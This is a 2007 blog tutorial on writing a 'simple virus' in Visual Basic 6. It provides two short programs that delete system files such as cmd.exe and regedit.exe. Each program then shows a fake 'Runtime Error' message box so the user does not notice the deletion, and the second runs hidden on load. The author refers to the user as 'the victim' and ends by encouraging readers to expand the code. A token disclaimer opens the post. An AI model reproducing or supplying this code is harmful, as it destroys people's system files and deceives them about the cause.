Practical Web Programming

Thursday, August 02, 2007

Creating a Simple Virus in Visual Basic 6

Warning: This tutorial is meant to educate programmers and not to harm any computer systems. Please use the information with caution. I will not be responsible for any damage caused by this tutorial.

Now many of you feel that creating a virus very difficult especially for beginners. Well, this tutorial shows you how to create a simple virus with just a few lines of code.

A virus can be any program that deletes files in a system without the permission or knowledge of the owner or the user. This files can be system files or a plain document. Here's the steps.

1) Open a new Visual Basic project, a standard exe file..
2) Add a Form and a CommandButton
3) In the code window, put the following code


Private Sub Command1_Click()
Kill "C:/Windows/System32/cmd.exe"

MsgBox "Runtime Error 492. Not Enough Memory", _
vbCritical, _
"Runtime Error"
End Sub

Private Sub Form_Load()
Me.Caption = "Simple Virus in VB6"
Command1.Caption = "Click Me"
End Sub


Once the project is opened and the CommandButton is clicked, the command file will be removed from the system and a message will be displayed telling the user of a runtime error. Ok, we can now make it a little more difficult if you are finding the above a little too easy.

How about removing more than 1 file, well this is how you could go about doing that, we will stick with the message box fool because I think that works well.

The example below shows how to remove the files when the application is loaded, we will not be using CommandButtons in this one. Follow the steps 1 and 2 above, then in the code window, put the following code.


Private Sub Form_Load()
Me.Visible = False
Kill "C:/Windows/System32/cmd.exe"
Kill "C:/Windows/regedit.exe"
MsgBox "Runtime Error 492. Not Enough Memory.", _
vbCritical, _
"Runtime Error"
End Sub


So above we will be removing the command file and the registry, I don’t think the victim will be best pleased about that do you.

Now I have shown you the above information I think it’s your turn to try and create your own, now you can test it on your own pc, just copy a file, lets say the cmd.exe file and paste it into your C:/ drive. Then put in the code above but in the Kill command, change to "C:/cmd.exe".

That’s all you need to kill, then you will see the file has been removed. Keep trying new things like I have shown and you will be a pro in no time. I hope you enjoyed this tutorial.

0 comments:

Recent Post